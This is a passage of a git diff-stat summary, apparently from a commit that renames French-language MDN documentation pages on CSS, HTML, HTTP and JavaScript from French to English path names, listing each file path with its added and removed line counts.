.../index.html" | 588 ---- .../index.html | 569 ---- .../index.html" | 605 ---- .../index.html | 560 ++++ .../relationship_of_grid_layout/index.html | 588 ++++ .../index.html" | 431 --- .../implementing_image_sprites_in_css/index.html | 51 + files/fr/web/css/css_images/sprites_css/index.html | 51 - .../css/css_images/using_css_gradients/index.html | 747 +++++ .../fr/web/css/css_lists/compteurs_css/index.html | 148 - .../index.html" | 105 - files/fr/web/css/css_lists/index.html | 57 - .../consistent_list_indentation/index.html | 105 + files/fr/web/css/css_lists_and_counters/index.html | 57 + .../using_css_counters/index.html | 148 + .../basic_concepts/index.html | 75 + .../concepts_de_base/index.html | 75 - .../dimensionnement/index.html | 89 - .../floating_and_positioning/index.html | 143 + .../margins_borders_padding/index.html | 297 ++ .../index.html" | 143 - .../index.html" | 297 -- .../css/css_logical_properties/sizing/index.html | 89 + files/fr/web/css/css_masking/index.html | 66 + files/fr/web/css/css_masks/index.html | 66 - files/fr/web/css/css_motion_path/index.html | 54 + .../adding_z-index/index.html | 149 + .../understanding_z_index/index.html | 36 + .../stacking_and_float/index.html | 135 + .../stacking_context_example_1/index.html | 117 + .../stacking_context_example_2/index.html | 128 + .../stacking_context_example_3/index.html | 160 + .../stacking_without_z-index/index.html | 122 + .../the_stacking_context/index.html | 213 ++ .../fr/web/css/css_questions_frequentes/index.html | 246 -- .../css/css_scroll_snap/basic_concepts/index.html | 70 + .../css/css_scroll_snap/browser_compat/index.html | 46 + .../compatibilit\303\251_navigateurs/index.html" | 46 - .../css_scroll_snap/concepts_de_base/index.html | 70 - files/fr/web/css/css_selectors/index.html | 114 + .../index.html | 63 + .../aper\303\247u_formes_css/index.html" | 125 - .../fr/web/css/css_shapes/basic_shapes/index.html | 149 + .../cr\303\251er_formes_bo\303\256tes/index.html" | 75 - .../web/css/css_shapes/formes_simples/index.html | 149 - .../web/css/css_shapes/from_box_values/index.html | 75 + .../index.html" | 64 - .../css_shapes/overview_of_css_shapes/index.html | 125 + .../css/css_shapes/shapes_from_images/index.html | 64 + .../css_transforms/using_css_transforms/index.html | 83 + .../utilisation_des_transformations_css/index.html | 83 - .../using_css_transitions/index.html | 1094 +++++++ .../utiliser_transitions_css/index.html | 1094 ------- files/fr/web/css/css_types/index.html | 102 + files/fr/web/css/css_values_and_units/index.html | 494 +++ .../css/cssom_view/coordinate_systems/index.html | 183 ++ .../index.html" | 183 -- files/fr/web/css/descendant_combinator/index.html | 109 + files/fr/web/css/easing-function/index.html | 275 ++ .../fr/web/css/extensions_css_microsoft/index.html | 118 - files/fr/web/css/extensions_mozilla/index.html | 678 ---- .../css/feuilles_de_style_alternatives/index.html | 77 - files/fr/web/css/filter-function/url/index.html | 34 - files/fr/web/css/filters_effects/index.html | 115 - .../web/css/general_sibling_combinator/index.html | 81 + files/fr/web/css/grid-column-gap/index.html | 128 - "files/fr/web/css/h\303\251ritage/index.html" | 76 - files/fr/web/css/id_selectors/index.html | 87 + .../index.html" | 47 - files/fr/web/css/index/index.html | 10 - files/fr/web/css/inheritance/index.html | 76 + files/fr/web/css/initial_value/index.html | 53 + .../web/css/inline_formatting_context/index.html | 63 + files/fr/web/css/inset-block-end/index.html | 126 + files/fr/web/css/inset-block-start/index.html | 124 + files/fr/web/css/inset-inline-end/index.html | 126 + files/fr/web/css/inset-inline-start/index.html | 120 + .../css/jeux_de_caract\303\250res_css/index.html" | 50 - .../bas_de_page_adh\303\251rant/index.html" | 73 - .../breadcrumb_navigation/index.html | 49 + files/fr/web/css/layout_cookbook/card/index.html | 81 + files/fr/web/css/layout_cookbook/carte/index.html | 81 - .../layout_cookbook/center_an_element/index.html | 59 + .../layout_cookbook/centrer_un_element/index.html | 59 - .../css/layout_cookbook/column_layouts/index.html | 129 + .../cookbook_template/index.html" | 62 - .../contribuer_\303\240_une_recette/index.html" | 104 - .../cookbook_template/index.html | 62 + .../layout_cookbook/contribute_a_recipe/index.html | 104 + .../disposition_en_colonnes/index.html | 129 - .../list_group_with_badges/index.html | 53 + .../liste_groupes_avec_indicateurs/index.html | 53 - .../navigation_breadcrumb/index.html | 49 - .../navigation_segment\303\251e/index.html" | 48 - .../layout_cookbook/split_navigation/index.html | 48 + .../css/layout_cookbook/sticky_footers/index.html | 73 + files/fr/web/css/layout_mode/index.html | 25 + .../list_of_proprietary_css_features/index.html | 173 ++ .../index.html" | 173 -- .../index.html" | 17 - files/fr/web/css/media_queries/index.html | 86 + .../media_queries/testing_media_queries/index.html | 79 + .../media_queries/using_media_queries/index.html | 384 +++ .../index.html | 96 + files/fr/web/css/microsoft_extensions/index.html | 118 + files/fr/web/css/mode_de_mise_en_page/index.html | 25 - .../fusion_des_marges/index.html" | 92 - .../index.html" | 2887 ----------------- .../mod\303\250le_de_bo\303\256te_css/index.html" | 115 - .../index.html" | 179 -- files/fr/web/css/motion_path/index.html | 54 - files/fr/web/css/mozilla_extensions/index.html | 678 ++++ .../css/m\303\251dia_pagin\303\251s/index.html" | 20 - files/fr/web/css/none/index.html | 43 - files/fr/web/css/normal/index.html | 36 - .../index.html" | 13 - .../index.html" | 13 - files/fr/web/css/outils/index.html | 20 - .../guide_ancrage_d\303\251filement/index.html" | 79 - .../guide_to_scroll_anchoring/index.html | 79 + files/fr/web/css/paged_media/index.html | 20 + files/fr/web/css/position_value/index.html | 129 + .../index.html | 73 + .../index.html" | 155 - files/fr/web/css/pseudo-elements/index.html | 132 + .../css/pseudo-\303\251l\303\251ments/index.html" | 132 - .../index.html" | 331 -- files/fr/web/css/replaced_element/index.html | 62 + .../css/requ\303\252tes_m\303\251dia/index.html" | 86 - .../tester_les_media_queries/index.html" | 79 - .../index.html" | 96 - .../utiliser_les_media_queries/index.html" | 384 --- files/fr/web/css/resolved_value/index.html | 40 + "files/fr/web/css/r\303\250gles_@/index.html" | 82 - .../web/css/scaling_of_svg_backgrounds/index.html | 331 ++ files/fr/web/css/shape-box/index.html | 169 - files/fr/web/css/shorthand_properties/index.html | 155 + files/fr/web/css/specified_value/index.html | 85 + .../index.html" | 421 --- .../comparison_with_xpath/index.html" | 49 - .../fr/web/css/s\303\251lecteurs_css/index.html" | 114 - .../index.html" | 63 - .../css/s\303\251lecteurs_d_attribut/index.html" | 243 -- .../fr/web/css/s\303\251lecteurs_d_id/index.html" | 87 - .../css/s\303\251lecteurs_de_classe/index.html" | 101 - .../web/css/s\303\251lecteurs_de_type/index.html" | 82 - .../index.html" | 81 - .../css/s\303\251lecteurs_descendant/index.html" | 109 - .../web/css/s\303\251lecteurs_enfant/index.html" | 94 - .../css/s\303\251lecteurs_universels/index.html" | 103 - files/fr/web/css/timing-function/index.html | 275 -- .../css/tools/cubic_bezier_generator/index.html | 13 + files/fr/web/css/tools/index.html | 20 + .../css/tools/linear-gradient_generator/index.html | 13 + files/fr/web/css/type_color/index.html | 1379 --------- files/fr/web/css/type_position/index.html | 129 - files/fr/web/css/type_selectors/index.html | 82 + files/fr/web/css/types_css/index.html | 102 - files/fr/web/css/universal_selectors/index.html | 103 + files/fr/web/css/url/index.html | 109 - files/fr/web/css/used_value/index.html | 144 + .../index.html" | 747 ----- .../fr/web/css/valeur_calcul\303\251e/index.html" | 67 - files/fr/web/css/valeur_initiale/index.html | 53 - files/fr/web/css/valeur_reelle/index.html | 52 - .../fr/web/css/valeur_r\303\251solue/index.html" | 40 - .../css/valeur_sp\303\251cifi\303\251e/index.html" | 85 - .../fr/web/css/valeur_utilis\303\251e/index.html" | 144 - .../css/valeurs_et_unit\303\251s_css/index.html" | 494 --- .../fr/web/css/value_definition_syntax/index.html | 421 +++ files/fr/web/css/viewport_concepts/index.html | 156 + .../fr/web/css/visual_formatting_model/index.html | 179 ++ .../index.html" | 62 - .../web/demos_of_open_web_technologies/index.html | 168 + .../index.html" | 168 - files/fr/web/events/abort/index.html | 70 - .../fr/web/events/abort_(progressevent)/index.html | 89 - files/fr/web/events/afterprint/index.html | 63 - files/fr/web/events/animationend/index.html | 81 - files/fr/web/events/animationiteration/index.html | 83 - files/fr/web/events/animationstart/index.html | 81 - files/fr/web/events/audioprocess/index.html | 151 - files/fr/web/events/beforeprint/index.html | 74 - files/fr/web/events/beforeunload/index.html | 139 - files/fr/web/events/complete/index.html | 91 - files/fr/web/events/compositionend/index.html | 131 - files/fr/web/events/compositionstart/index.html | 146 - files/fr/web/events/compositionupdate/index.html | 137 - files/fr/web/events/copy/index.html | 148 - files/fr/web/events/domcontentloaded/index.html | 84 - files/fr/web/events/ended_(web_audio)/index.html | 83 - files/fr/web/events/error/index.html | 93 - files/fr/web/events/focusin/index.html | 123 - files/fr/web/events/focusout/index.html | 123 - files/fr/web/events/load/index.html | 92 - files/fr/web/events/pagehide/index.html | 69 - files/fr/web/events/pageshow/index.html | 132 - files/fr/web/events/readystatechange/index.html | 87 - files/fr/web/events/transitionend/index.html | 192 -- files/fr/web/events/unload/index.html | 156 - .../web/guide/ajax/communaut\303\251/index.html" | 14 - files/fr/web/guide/ajax/community/index.html | 14 + files/fr/web/guide/ajax/getting_started/index.html | 275 ++ files/fr/web/guide/ajax/premiers_pas/index.html | 275 -- files/fr/web/guide/api/gamepad/index.html | 281 -- files/fr/web/guide/api/webrtc/index.html | 52 - .../index.html | 97 + .../api/webrtc/webrtc_architecture/index.html | 54 - .../web/guide/api/webrtc/webrtc_basics/index.html | 360 --- .../guide/css/block_formatting_context/index.html | 44 + .../creating_and_triggering_events/index.html | 96 - .../guide/dom/events/evenement_medias/index.html | 266 -- files/fr/web/guide/dom/events/index.html | 18 - .../index.html" | 76 - .../index.html" | 64 - .../web/guide/dom/events/touch_events/index.html | 245 -- files/fr/web/guide/dom/index.html | 30 - .../example/index.html | 392 --- .../manipuler_historique_du_navigateur/index.html | 245 -- .../guide/dom/using_full_screen_mode/index.html | 301 -- .../creating_and_triggering_events/index.html | 96 + files/fr/web/guide/events/index.html | 18 + files/fr/web/guide/events/media_events/index.html | 266 ++ .../index.html | 76 + .../guide/graphics/dessiner_avec_canvas/index.html | 176 -- .../index.html" | 118 - .../html/cat\303\251gories_de_contenu/index.html" | 175 -- .../web/guide/html/content_categories/index.html | 175 ++ .../fr/web/guide/html/editable_content/index.html | 36 + .../advanced_styling_for_html_forms/index.html | 469 --- .../apparence_des_formulaires_html/index.html | 391 --- .../example_3/index.html" | 247 -- .../example_4/index.html" | 297 -- .../example_5/index.html" | 290 -- .../exemple_1/index.html" | 420 --- .../exemple_2/index.html" | 215 -- .../index.html" | 837 ----- .../exemple/index.html | 166 - .../index.html | 310 -- .../index.html" | 371 --- .../html_forms_in_legacy_browsers/index.html | 220 -- files/fr/web/guide/html/formulaires/index.html | 81 - .../les_blocs_de_formulaires_natifs/index.html | 683 ----- .../mon_premier_formulaire_html/exemple/index.html | 104 - .../mon_premier_formulaire_html/index.html | 281 -- .../index.html | 1991 ------------ .../sending_forms_through_javascript/index.html | 440 --- .../validation_donnees_formulaire/index.html | 874 ------ .../html/html5/introduction_to_html5/index.html | 40 + .../index.html" | 580 ---- files/fr/web/guide/html/liens_email/index.html | 64 - .../using_html_sections_and_outlines/index.html | 375 +++ .../introduction_to_web_development/index.html | 29 + .../fr/web/guide/using_formdata_objects/index.html | 141 - .../writing_forward-compatible_websites/index.html | 137 + .../fr/web/html/appliquer_des_couleurs/index.html | 506 --- files/fr/web/html/applying_color/index.html | 506 +++ .../fr/web/html/attributes/autocomplete/index.html | 228 ++ .../fr/web/html/attributes/crossorigin/index.html | 96 + files/fr/web/html/attributes/index.html | 767 +++++ files/fr/web/html/attributes/pattern/index.html | 161 + .../fr/web/html/attributs/autocomplete/index.html | 228 -- files/fr/web/html/attributs/index.html | 767 ----- files/fr/web/html/attributs/pattern/index.html | 161 - .../html/attributs_universels/accesskey/index.html | 143 - .../attributs_universels/autocapitalize/index.html | 49 - .../web/html/attributs_universels/class/index.html | 63 - .../contenteditable/index.html | 85 - .../attributs_universels/contextmenu/index.html | 118 - .../attributs_universels/data-_star_/index.html | 83 - .../web/html/attributs_universels/dir/index.html | 90 - .../html/attributs_universels/draggable/index.html | 71 - .../html/attributs_universels/dropzone/index.html | 48 - .../html/attributs_universels/hidden/index.html | 69 - .../fr/web/html/attributs_universels/id/index.html | 72 - files/fr/web/html/attributs_universels/index.html | 196 -- .../html/attributs_universels/inputmode/index.html | 65 - .../fr/web/html/attributs_universels/is/index.html | 67 - .../html/attributs_universels/itemid/index.html | 116 - .../html/attributs_universels/itemprop/index.html | 436 --- .../html/attributs_universels/itemref/index.html | 97 - .../html/attributs_universels/itemscope/index.html | 228 -- .../html/attributs_universels/itemtype/index.html | 113 - .../web/html/attributs_universels/lang/index.html | 86 - .../web/html/attributs_universels/slot/index.html | 49 - .../attributs_universels/spellcheck/index.html | 153 - .../web/html/attributs_universels/style/index.html | 92 - .../html/attributs_universels/tabindex/index.html | 115 - .../web/html/attributs_universels/title/index.html | 129 - .../html/attributs_universels/translate/index.html | 71 - .../x-ms-acceleratorkey/index.html | 45 - .../x-ms-format-detection/index.html | 60 - files/fr/web/html/block-level_elements/index.html | 126 + files/fr/web/html/contenu_editable/index.html | 36 - files/fr/web/html/cors_enabled_image/index.html | 117 + files/fr/web/html/date_and_time_formats/index.html | 457 +++ files/fr/web/html/element/command/index.html | 117 - files/fr/web/html/element/element/index.html | 73 - .../fr/web/html/formats_date_heure_html/index.html | 457 --- .../html/global_attributes/accesskey/index.html | 143 + .../global_attributes/autocapitalize/index.html | 49 + .../fr/web/html/global_attributes/class/index.html | 63 + .../global_attributes/contenteditable/index.html | 85 + .../html/global_attributes/contextmenu/index.html | 118 + .../html/global_attributes/data-_star_/index.html | 83 + files/fr/web/html/global_attributes/dir/index.html | 90 + .../html/global_attributes/draggable/index.html | 71 + .../web/html/global_attributes/hidden/index.html | 69 + files/fr/web/html/global_attributes/id/index.html | 72 + files/fr/web/html/global_attributes/index.html | 196 ++ .../html/global_attributes/inputmode/index.html | 65 + files/fr/web/html/global_attributes/is/index.html | 67 + .../web/html/global_attributes/itemid/index.html | 116 + .../web/html/global_attributes/itemprop/index.html | 436 +++ .../web/html/global_attributes/itemref/index.html | 97 + .../html/global_attributes/itemscope/index.html | 228 ++ .../web/html/global_attributes/itemtype/index.html | 113 + .../fr/web/html/global_attributes/lang/index.html | 86 + .../fr/web/html/global_attributes/slot/index.html | 49 + .../html/global_attributes/spellcheck/index.html | 153 + .../fr/web/html/global_attributes/style/index.html | 92 + .../web/html/global_attributes/tabindex/index.html | 115 + .../fr/web/html/global_attributes/title/index.html | 129 + .../html/global_attributes/translate/index.html | 71 + .../x-ms-acceleratorkey/index.html | 45 + .../x-ms-format-detection/index.html | 60 + .../index.html" | 117 - files/fr/web/html/inline_elements/index.html | 169 + files/fr/web/html/introduction_to_html5/index.html | 40 - files/fr/web/html/link_types/index.html | 368 +++ files/fr/web/html/microdata/index.html | 140 + "files/fr/web/html/microdonn\303\251es/index.html" | 140 - .../index.html | 36 - files/fr/web/html/preloading_content/index.html | 237 ++ .../html/pr\303\251charger_du_contenu/index.html" | 237 -- .../html/reglages_des_attributs_cors/index.html | 96 - .../index.html | 375 --- files/fr/web/html/types_de_lien/index.html | 368 --- .../html/using_the_application_cache/index.html | 338 ++ .../index.html | 245 -- .../web/html/utiliser_application_cache/index.html | 338 -- .../index.html" | 103 - .../\303\251l\303\251ments_en_bloc/index.html" | 126 - .../\303\251l\303\251ments_en_ligne/index.html" | 169 - "files/fr/web/http/aper\303\247u/index.html" | 178 -- .../choisir_entre_les_urls_www_sans_www/index.html | 69 - .../index.html | 69 + .../index.html | 169 - .../identifying_resources_on_the_web/index.html | 169 + .../http/basics_of_http/resource_urls/index.html | 67 + .../urls_de_type_ressource/index.html | 67 - .../index.html | 239 ++ files/fr/web/http/cache/index.html | 154 - files/fr/web/http/caching/index.html | 154 + files/fr/web/http/conditional_requests/index.html | 147 + .../cors/errors/corsalloworiginmanquant/index.html | 48 - .../corsalloworiginnecorrespondpas/index.html | 42 - .../corsalloworiginnotmatchingorigin/index.html | 42 + .../web/http/cors/errors/corsdesactive/index.html | 30 - .../http/cors/errors/corsdidnotsucceed/index.html | 34 + .../web/http/cors/errors/corsdisabled/index.html | 30 + .../cors/errors/corsmissingalloworigin/index.html | 48 + .../cors/errors/corsnapasr\303\251ussi/index.html" | 34 - .../index.html | 239 -- .../index.html" | 134 - files/fr/web/http/headers/server/index.html | 72 + files/fr/web/http/headers/serveur/index.html | 72 - files/fr/web/http/link_prefetching_faq/index.html | 134 + files/fr/web/http/methods/connect/index.html | 86 + files/fr/web/http/methods/delete/index.html | 93 + files/fr/web/http/methods/get/index.html | 73 + files/fr/web/http/methods/head/index.html | 77 + files/fr/web/http/methods/index.html | 73 + files/fr/web/http/methods/options/index.html | 124 + files/fr/web/http/methods/patch/index.html | 89 + files/fr/web/http/methods/post/index.html | 119 + files/fr/web/http/methods/put/index.html | 95 + files/fr/web/http/methods/trace/index.html | 77 + .../fr/web/http/m\303\251thode/connect/index.html" | 86 - .../fr/web/http/m\303\251thode/delete/index.html" | 93 - "files/fr/web/http/m\303\251thode/get/index.html" | 73 - "files/fr/web/http/m\303\251thode/head/index.html" | 77 - "files/fr/web/http/m\303\251thode/index.html" | 73 - .../fr/web/http/m\303\251thode/options/index.html" | 124 - .../fr/web/http/m\303\251thode/patch/index.html" | 89 - "files/fr/web/http/m\303\251thode/post/index.html" | 119 - "files/fr/web/http/m\303\251thode/put/index.html" | 95 - .../fr/web/http/m\303\251thode/trace/index.html" | 77 - files/fr/web/http/overview/index.html | 178 ++ files/fr/web/http/public_key_pinning/index.html | 170 + .../requ\303\252tes_conditionnelles/index.html" | 147 - files/fr/web/javascript/a_propos/index.html | 65 - .../a_re-introduction_to_javascript/index.html | 960 ++++++ .../fr/web/javascript/about_javascript/index.html | 65 + .../index.html" | 326 -- .../index.html" | 154 - files/fr/web/javascript/data_structures/index.html | 319 ++ .../index.html | 326 ++ .../equality_comparisons_and_sameness/index.html | 490 +++ files/fr/web/javascript/eventloop/index.html | 154 + .../gestion_de_la_m\303\251moire/index.html" | 207 -- files/fr/web/javascript/guide/apropos/index.html | 139 - .../guide/boucles_et_it\303\251ration/index.html" | 349 --- .../guide/collections_avec_cl\303\251s/index.html" | 152 - .../guide/collections_index\303\251es/index.html" | 425 --- .../control_flow_and_error_handling/index.html | 408 +++ .../index.html" | 408 --- .../guide/details_of_the_object_model/index.html | 747 +++++ .../guide/expressions_and_operators/index.html | 934 ++++++ .../expressions_et_op\303\251rateurs/index.html" | 934 ------ .../assertions/index.html" | 106 - .../classes_de_caract\303\250res/index.html" | 182 -- .../groupes_et_intervalles/index.html" | 93 - .../index.html" | 745 ----- .../limites/index.html" | 96 - .../quantificateurs/index.html" | 97 - .../index.html" | 430 --- files/fr/web/javascript/guide/fonctions/index.html | 670 ---- .../javascript/guide/formatage_du_texte/index.html | 255 -- files/fr/web/javascript/guide/functions/index.html | 670 ++++ .../javascript/guide/grammar_and_types/index.html | 709 +++++ .../guide/indexed_collections/index.html | 425 +++ .../guide/iterateurs_et_generateurs/index.html | 175 -- .../guide/iterators_and_generators/index.html | 175 ++ .../guide/javascript_overview/index.html | 118 - .../javascript/guide/keyed_collections/index.html | 152 + .../index.html" | 747 ----- .../index.html" | 78 - .../guide/loops_and_iteration/index.html | 349 +++ .../javascript/guide/meta_programming/index.html | 278 ++ .../guide/m\303\251taprogrammation/index.html" | 278 -- .../javascript/guide/nombres_et_dates/index.html | 387 --- .../javascript/guide/numbers_and_dates/index.html | 387 +++ .../index.html" | 899 ------ .../regular_expressions/assertions/index.html | 106 + .../character_classes/index.html | 182 ++ .../groups_and_ranges/index.html | 93 + .../guide/regular_expressions/index.html | 745 +++++ .../regular_expressions/quantifiers/index.html | 97 + .../unicode_property_escapes/index.html | 430 +++ .../guide/retours_sur_h\303\251ritage/index.html" | 88 - .../javascript/guide/text_formatting/index.html | 255 ++ .../javascript/guide/types_et_grammaire/index.html | 709 ----- .../web/javascript/guide/using_promises/index.html | 314 ++ .../guide/utiliser_le_json_natif/index.html | 100 - .../guide/utiliser_les_objets/index.html | 474 --- .../guide/utiliser_les_promesses/index.html | 314 -- .../guide/working_with_objects/index.html | 474 +++ .../index.html" | 265 -- .../web/javascript/guide_de_demarrage/index.html | 338 -- .../index.html" | 573 ---- .../inheritance_and_the_prototype_chain/index.html | 573 ++++ .../index.html" | 372 --- .../index.html" | 410 --- .../index.html" | 490 --- .../fr/web/javascript/memory_management/index.html | 207 ++ .../index.html" | 139 - .../web/javascript/reference/a_propos/index.html | 53 - files/fr/web/javascript/reference/about/index.html | 53 + .../reference/classes/class_fields/index.html | 266 -- .../classes/public_class_fields/index.html | 266 ++ .../deprecated_and_obsolete_features/index.html | 292 ++ .../the_legacy_iterator_protocol/index.html | 78 + .../erreurs/already_has_pragma/index.html | 41 - .../erreurs/array_sort_argument/index.html | 47 - .../reference/erreurs/bad_octal/index.html | 52 - .../reference/erreurs/bad_radix/index.html | 63 - .../reference/erreurs/bad_regexp_flag/index.html | 106 - .../erreurs/bad_return_or_yield/index.html | 57 - .../erreurs/called_on_incompatible_type/index.html | 75 - .../index.html | 62 - .../erreurs/cant_access_property/index.html | 59 - .../erreurs/cant_assign_to_property/index.html | 55 - .../index.html | 65 - .../reference/erreurs/cant_delete/index.html | 59 - .../erreurs/cant_redefine_property/index.html | 51 - .../erreurs/cyclic_object_value/index.html | 68 - .../reference/erreurs/dead_object/index.html | 49 - .../erreurs/delete_in_strict_mode/index.html | 68 - .../index.html | 75 - .../deprecated_expression_closures/index.html | 79 - .../reference/erreurs/deprecated_octal/index.html | 68 - .../deprecated_source_map_pragma/index.html | 58 - .../erreurs/deprecated_string_generics/index.html | 105 - .../erreurs/deprecated_tolocaleformat/index.html | 91 - .../reference/erreurs/equal_as_assign/index.html | 53 - .../for-each-in_loops_are_deprecated/index.html | 168 - .../reference/erreurs/getter_only/index.html | 84 - .../erreurs/identifier_after_number/index.html | 56 - .../reference/erreurs/illegal_character/index.html | 83 - .../erreurs/in_operator_no_object/index.html | 73 - .../fr/web/javascript/reference/erreurs/index.html | 23 - .../erreurs/invalid_array_length/index.html | 79 - .../invalid_assignment_left-hand_side/index.html | 54 - .../erreurs/invalid_const_assignment/index.html | 90 - .../reference/erreurs/invalid_date/index.html | 56 - .../erreurs/invalid_for-in_initializer/index.html | 74 - .../erreurs/invalid_for-of_initializer/index.html | 63 - .../index.html | 62 - .../reference/erreurs/is_not_iterable/index.html | 128 - .../reference/erreurs/json_bad_parse/index.html | 112 - .../erreurs/malformed_formal_parameter/index.html | 64 - .../reference/erreurs/malformed_uri/index.html | 66 - .../erreurs/missing_bracket_after_list/index.html | 57 - .../missing_colon_after_property_id/index.html | 77 - .../missing_curly_after_function_body/index.html | 67 - .../missing_curly_after_property_list/index.html | 52 - .../erreurs/missing_formal_parameter/index.html | 77 - .../missing_initializer_in_const/index.html | 59 - .../missing_name_after_dot_operator/index.html | 69 - .../index.html | 56 - .../missing_parenthesis_after_condition/index.html | 70 - .../missing_semicolon_before_statement/index.html | 83 - .../erreurs/more_arguments_needed/index.html | 49 - .../erreurs/negative_repetition_count/index.html | 45 - .../erreurs/no_non-null_object/index.html | 66 - .../reference/erreurs/no_properties/index.html | 42 - .../reference/erreurs/no_variable_name/index.html | 83 - .../non_configurable_array_element/index.html | 83 - .../reference/erreurs/not_a_codepoint/index.html | 56 - .../reference/erreurs/not_a_constructor/index.html | 96 - .../reference/erreurs/not_a_function/index.html | 155 - .../reference/erreurs/not_defined/index.html | 70 - .../reference/erreurs/precision_range/index.html | 98 - .../erreurs/property_access_denied/index.html | 47 - .../reference/erreurs/read-only/index.html | 80 - .../erreurs/redeclared_parameter/index.html | 62 - .../index.html | 88 - .../erreurs/reserved_identifier/index.html | 81 - .../erreurs/resulting_string_too_large/index.html | 49 - .../reference/erreurs/stmt_after_return/index.html | 79 - .../erreurs/strict_non_simple_params/index.html | 115 - .../erreurs/too_much_recursion/index.html | 69 - .../typed_array_invalid_arguments/index.html | 76 - .../reference/erreurs/undeclared_var/index.html | 66 - .../reference/erreurs/undefined_prop/index.html | 57 - .../reference/erreurs/unexpected_token/index.html | 77 - .../reference/erreurs/unexpected_type/index.html | 73 - .../erreurs/unnamed_function_statement/index.html | 115 - .../erreurs/unterminated_string_literal/index.html | 77 - .../erreurs/var_hides_argument/index.html | 55 - .../reference/errors/already_has_pragma/index.html | 41 + .../errors/array_sort_argument/index.html | 47 + .../reference/errors/bad_octal/index.html | 52 + .../reference/errors/bad_radix/index.html | 63 + .../reference/errors/bad_regexp_flag/index.html | 106 + .../errors/bad_return_or_yield/index.html | 57 + .../errors/called_on_incompatible_type/index.html | 75 + .../index.html | 62 + .../errors/cant_access_property/index.html | 59 + .../errors/cant_assign_to_property/index.html | 55 + .../index.html | 65 + .../reference/errors/cant_delete/index.html | 59 + .../errors/cant_redefine_property/index.html | 51 + .../errors/cyclic_object_value/index.html | 68 + .../reference/errors/dead_object/index.html | 49 + .../errors/delete_in_strict_mode/index.html | 68 + .../index.html | 75 + .../deprecated_expression_closures/index.html | 79 + .../reference/errors/deprecated_octal/index.html | 68 + .../errors/deprecated_source_map_pragma/index.html | 58 + .../errors/deprecated_string_generics/index.html | 105 + .../errors/deprecated_tolocaleformat/index.html | 91 + .../reference/errors/equal_as_assign/index.html | 53 + .../for-each-in_loops_are_deprecated/index.html | 168 + .../reference/errors/getter_only/index.html | 84 + .../errors/identifier_after_number/index.html | 56 + .../reference/errors/illegal_character/index.html | 83 + .../errors/in_operator_no_object/index.html | 73 + .../fr/web/javascript/reference/errors/index.html | 23 + .../errors/invalid_array_length/index.html | 79 + .../invalid_assignment_left-hand_side/index.html | 54 + .../errors/invalid_const_assignment/index.html | 90 + .../reference/errors/invalid_date/index.html | 56 + .../errors/invalid_for-in_initializer/index.html | 74 + .../errors/invalid_for-of_initializer/index.html | 63 + .../index.html | 62 + .../reference/errors/is_not_iterable/index.html | 128 + .../reference/errors/json_bad_parse/index.html | 112 + .../errors/malformed_formal_parameter/index.html | 64 + .../reference/errors/malformed_uri/index.html | 66 + .../errors/missing_bracket_after_list/index.html | 57 + .../missing_colon_after_property_id/index.html | 77 + .../missing_curly_after_function_body/index.html | 67 + .../missing_curly_after_property_list/index.html | 52 + .../errors/missing_formal_parameter/index.html | 77 + .../errors/missing_initializer_in_const/index.html | 59 + .../missing_name_after_dot_operator/index.html | 69 + .../index.html | 56 + .../missing_parenthesis_after_condition/index.html | 70 + .../missing_semicolon_before_statement/index.html | 83 + .../errors/more_arguments_needed/index.html | 49 + .../errors/negative_repetition_count/index.html | 45 + .../reference/errors/no_non-null_object/index.html | 66 + .../reference/errors/no_properties/index.html | 42 + .../reference/errors/no_variable_name/index.html | 83 + .../non_configurable_array_element/index.html | 83 + .../reference/errors/not_a_codepoint/index.html | 56 + .../reference/errors/not_a_constructor/index.html | 96 + .../reference/errors/not_a_function/index.html | 155 + .../reference/errors/not_defined/index.html | 70 + .../reference/errors/precision_range/index.html | 98 + .../errors/property_access_denied/index.html | 47 + .../reference/errors/read-only/index.html | 80 + .../errors/redeclared_parameter/index.html | 62 + .../index.html | 88 + .../errors/reserved_identifier/index.html | 81 + .../errors/resulting_string_too_large/index.html | 49 + .../reference/errors/stmt_after_return/index.html | 79 + .../errors/strict_non_simple_params/index.html | 115 + .../reference/errors/too_much_recursion/index.html | 69 + .../typed_array_invalid_arguments/index.html | 76 + .../reference/errors/undeclared_var/index.html | 66 + .../reference/errors/undefined_prop/index.html | 57 + .../reference/errors/unexpected_token/index.html | 77 + .../reference/errors/unexpected_type/index.html | 73 + .../errors/unnamed_function_statement/index.html | 115 + .../errors/unterminated_string_literal/index.html | 77 + .../reference/errors/var_hides_argument/index.html | 55 + .../fonctions/arguments/@@iterator/index.html | 78 - .../fonctions/arguments/callee/index.html | 158 - .../reference/fonctions/arguments/index.html | 248 -- .../fonctions/arguments/length/index.html | 91 - .../index.html" | 219 -- .../fonctions_fl\303\251ch\303\251es/index.html" | 375 --- .../javascript/reference/fonctions/get/index.html | 180 -- .../web/javascript/reference/fonctions/index.html | 852 ------ .../param\303\250tres_du_reste/index.html" | 219 -- .../javascript/reference/fonctions/set/index.html | 145 - .../index.html" | 212 -- .../functions/arguments/@@iterator/index.html | 78 + .../functions/arguments/callee/index.html | 158 + .../reference/functions/arguments/index.html | 248 ++ .../functions/arguments/length/index.html | 91 + .../reference/functions/arrow_functions/index.html | 375 +++ .../functions/default_parameters/index.html | 212 ++ .../javascript/reference/functions/get/index.html | 180 ++ .../web/javascript/reference/functions/index.html | 852 ++++++ .../functions/method_definitions/index.html | 219 ++ .../reference/functions/rest_parameters/index.html | 219 ++ .../javascript/reference/functions/set/index.html | 145 + .../global_objects/aggregateerror/index.html | 88 + .../global_objects/array/@@iterator/index.html | 90 + .../global_objects/array/@@species/index.html | 78 + .../global_objects/array/@@unscopables/index.html | 76 + .../global_objects/array/array/index.html | 86 + .../global_objects/array/concat/index.html | 160 + .../global_objects/array/copywithin/index.html | 199 ++ .../global_objects/array/entries/index.html | 97 + .../global_objects/array/every/index.html | 201 ++ .../reference/global_objects/array/fill/index.html | 155 + .../global_objects/array/filter/index.html | 228 ++ .../reference/global_objects/array/find/index.html | 145 + .../global_objects/array/findindex/index.html | 179 ++ .../reference/global_objects/array/flat/index.html | 148 + .../global_objects/array/flatmap/index.html | 126 + .../global_objects/array/foreach/index.html | 278 ++ .../reference/global_objects/array/from/index.html | 138 + .../global_objects/array/includes/index.html | 135 + .../reference/global_objects/array/index.html | 446 +++ .../global_objects/array/indexof/index.html | 214 ++ .../global_objects/array/isarray/index.html | 117 + .../reference/global_objects/array/join/index.html | 110 + .../reference/global_objects/array/keys/index.html | 87 + .../global_objects/array/lastindexof/index.html | 167 + 